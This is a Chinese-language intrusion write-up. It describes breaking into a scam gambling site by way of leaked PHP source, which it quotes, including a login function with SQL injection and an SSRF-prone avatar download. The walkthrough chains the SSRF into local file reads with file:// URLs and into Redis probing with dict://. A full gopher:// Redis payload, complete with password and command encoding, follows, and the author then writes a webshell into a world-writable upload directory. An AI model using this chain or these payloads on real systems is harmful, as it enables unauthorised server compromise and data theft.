前段时间项目中遇到一个杀猪盘,一直很忙没有看,最近闲下来就看了一下,没发现什么明显的漏洞,就在Fofa
上通过特征搜了一批同类型的站扫源码备份,运气很好,扫到一份
本来找到一处任意上传,但是在目标上面已经被删除,只能继续看代码
在全局搜索curl
的时候发现在\lib\controller\api\user.php
文件的_downloadAvatarFromThird
私有方法里面有定义
getAvatarFilename
方法获取到一个基于以微秒计的当前时间然后拼接.jpg
的文件名
getAvatarUrl
方法获取到一个本地存储的绝对路径
S_ROOT
在/index.php
里被定义为当前网站根目录的绝对路径
现在知道了_downloadAvatarFromThird方法有明显的SSRF漏洞并把结果写入到一个文件里面之后,只需要找到哪里调用的这个方法,然后看看thirdAvatarUrl变量是否可控 通过搜索,在第139行的公开方法thirdPartyLogin里面调用了_downloadAvatarFromThird方法,并且thirdAvatarUrl也是可控的
/**
* 第三方登录 qq 微信
* @method POST /index.php?m = api&c = user&a = registerMachine
* @param flag string 入口标示
* @param code string 机身码
* @return json
*/
public function thirdPartyLogin (){
log_to_mysql(runtime(),'thirdPartyLogin_start');
$this->checkInput($_REQUEST, array('openid','nickname','type','flag', 'code'), 'all');
log_to_mysql(runtime(),'thirdPartyLogin_check_params_end');
$openid = trim($_REQUEST['openid']);
$nickname = trim($_REQUEST['nickname']);
$avatar = trim($_REQUEST['avatar']);
$type = trim($_REQUEST['type']);
$flag = trim($_REQUEST['flag']);
$code = trim($_REQUEST['code']);
if(!in_array($type,array(5,6,7))){
ErrorCode::errorResponse(ErrorCode::DB_ERROR);
}
//获取IP地址及ip归属地
$ipData = getIp();
log_to_mysql(runtime(),'thirdPartyLogin_getip_end');
$sql = "SELECT user_id FROM `un_user_third` WHERE `openid` = '{$openid}' AND `type` = '{$type}'";
$res = O('model')->db->getOne($sql);
log_to_mysql(runtime(),'thirdPartyLogin_checkOpenidExists_end');
if(empty($res['user_id'])){
$username = $this->getUsername(6,10);
//添加用户
$data = array(
'username' => $username,
'nickname' => $nickname,
'regtime' => SYS_TIME,
'birthday' => SYS_TIME,
'regip' => $ipData['ip'],
'reg_ip_attribution' => $ipData['attribution'],
'loginip' => $ipData['ip'],
'login_ip_attribution' => $ipData['attribution'],
'logintime' => SYS_TIME,
'logintimes' => 1,
'reg_type' => $type,
'entrance' => $flag,
'layer_id' => $this->model2->getDefaultLayer()
);
$userId = $this->model->add($data);
if (!$userId) {
ErrorCode::errorResponse(ErrorCode::DB_ERROR);
}
//添加资金账户
$map = array(
'user_id' => $userId,
'money' => 0
);
$this->model2->add($map);
O('model')->db->query("INSERT INTO `un_user_tree` (`user_id`, `pids`, `layer`) VALUES ({$userId}, ',', 1)");
//添加第三方数据表记录
$sql2 = "INSERT INTO `un_user_third` (`user_id`, `openid`, `type`, `addtime`) VALUES ('{$userId}', '{$openid}', '{$type}', '{$data['regtime']}')";
O('model')->db->query($sql2);
//下载头像
if(!empty($avatar)){
$res = $this->_downloadAvatarFromThird($userId, $avatar);
}
//设置登录信息
$this->loginLog($userId, $flag, $code);
$token = $this->setToken($userId,$code);
$data = array(
'uid' => $userId,
'token' => $token,
'username' => $username,
'nickname' => $nickname,
'avatar' => $res?$res:'/up_files/room/avatar.png',
'state' => 1
);
}else{
$userId = $res['user_id'];
$sql = "SELECT id,username,nickname,avatar,password FROM un_user WHERE id = '" . $userId ."' AND state IN(0,1)";
$userInfo = O('model')->db->getOne($sql);
log_to_mysql(runtime(),'thirdPartyLogin_getUserInfo_end');
if (empty($userInfo)) {
ErrorCode::errorResponse(ErrorCode::PHONE_OR_PWD_INVALID);
}
//更新登录信息
$this->model->updateLoginInfo($userId);
log_to_mysql(runtime(),'thirdPartyLogin_updateLogData_end');
//去掉更新设备,这里更新的设备字段,为注册设备,最后登录设备已记录在 un_user_login_log 表
// $this->model->save(array('entrance' => $flag), array('id' => $userId)); //更新用户设备登录类型
//设置登录信息
$token = $this->setToken($userId,$code);
log_to_mysql(runtime(),'thirdPartyLogin_setToken_end');
$this->loginLog($userId, $flag, $code);
log_to_mysql(runtime(),'thirdPartyLogin_logLoginData_end');
$data = array(
'uid' => $userId,
'token' => $token,
'username' => $userInfo['username'],
'nickname' => empty($userInfo['nickname']) ? $userInfo['username'] : $userInfo['nickname'],
'avatar' => empty($userInfo['avatar']) ? '/up_files/room/avatar.png' : $userInfo['avatar'],
'state' => empty($userInfo['password']) ?1:2
);
}
/*
$honor = get_honor_level($userId);
if(($honor['status1'] && $honor['status']) || ($honor['status'] && $honor['score']==0)){
$data['honor'] = $honor['name'];
$data['icon'] = $honor['icon'];
$data['num'] = $honor['num'];
}else{
$data['honor'] = 0;
}
*/
//荣誉机制
$data['honor'] = get_honor_info($userId);
log_to_mysql(runtime(),'thirdPartyLogin_getHonor_end');
ErrorCode::successResponse($data);
}
那么现在就可以构造一个URL来读文件试一下是否可以成功
返回了图片路径就说明是读成功了的
经过测试支持
file
、http/s
、dict
、gopher
等协议
读文件并不是我的目标,最终的目的是要拿到权限
在之前在看配置文件的时候看到配置文件里面是配置了Redis
密码的,但是并不清楚目标上是否开启,读到/etc/passwd
之后看到有redis
用户,那么八成是开启了的
这时候首先需要看一下目标机器上面的Redis
是否配置了密码:dict://127.0.0.1:6379/info
查看返回结果发现是配置了密码的
这时候有两个思路获取到Redis
密码:
Redis
密码:dict://127.0.0.1:6379/auth:<password>
首选肯定是先找找看能否爆出来绝对路径,发现有两个文件有可能泄露绝对路径:
/caches/log/object_error.php
(目标上不存在)/chat/workerman.log
:访问下载下来后,不出意外的泄露了绝对路径
再通过SSRF
读配置文件得到Redis
的密码:file:///www/wwwroot/webgz/caches/config.php
得到密码之后怎样在非交互模式下使用密码进行验证并且执行指令呢?可以在Redis
官方文档中找到答案:https://redis.io/topics/pipelining
Redis
支持非传统一次request
等待一次response
的模式,可以发送多条request
后再一次性接收所有response
这个时候dict
协议就不行了,因为dict
协议会自动在结尾补上\r\n
(CRLF
),不能一次发出多条指令,所以这里需要使用gopher
协议
把
Redis
命令转换为gopher
协议:
socat
转发流量并打印文本socat -v tcp-listen:6378,fork tcp-connect:localhost:6379
redis-cli
攻击6378端口redis-cli -h 127.0.0.1 -p 6378 -a qq123456 config get dir
这时候是可以发现一些规律的(也就是RESP协议,可以百度了解) 转换:
>
或者<
那么丢弃该行字符串,表示请求和返回的时间和流量详情。<
开头的行到>
开头的行之间的行,因为这是返回的数据,这里不需要\r换行
字符串替换成%0d%0a
Gopher
协议发送数据第一个字符会消失,所以用_
来代替第一个字符(其他字符也都可以)那么这里需要认证的config get dir
转换为gopher
协议就是
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aAUTH%0d%0a$8%0d%0aqq123456%0d%0a*3%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aget%0d%0a$3%0d%0adir%0d%0a
后面必须再加一个quit
(*1%0d%0a$4%0d%0aquit%0d%0a
),否则会一直连接,不退出,也就无法返回结果
发送前再把_
后面的所有内容再url
编码一次,发送并得到结果
现在就可以通过Redis
往目标网站写一个webshell
了
发现没有写进去,目标机器为Linux
,猜测是权限的问题(可能网站路径都是755
,而redis
权限想写进去最后一位权限得是7
(读写执行)、6
(写执行))
那么这个时候有几个选择:
777
权限目录(没找到)chmod
、mkdir
等方法赋予了777
权限Fastcgi
(攻击方法参考https://bbs.ichunqiu.com/thread-58455-1-1.html
),但是这里不知道是走的socket
还是TCP
(默认socket
),所以没测试chmod
、mkdir
要不就是不可控,要不就是目录已经存在
最后在\core\class\upload.php
的upload
方法里找到使用chmod
方法会以当前日期新建一个目录并赋予777
权限
upload
类的并可控的点
在\lib\controller\attachment\attachment.php
的公开方法upload
里调用了upload
类,并且可控
上传成功,返回了路径
成功访问到,那么这个新建的目录up_files/avatar/2021/0315/
就是777
权限,可以通过redis
写入webshell
了
redis
写webshell
发现<
和>
被实体化了,那么把这两个都再进行一次url
编码即可成功,把redis
配置给他改回去都可以了。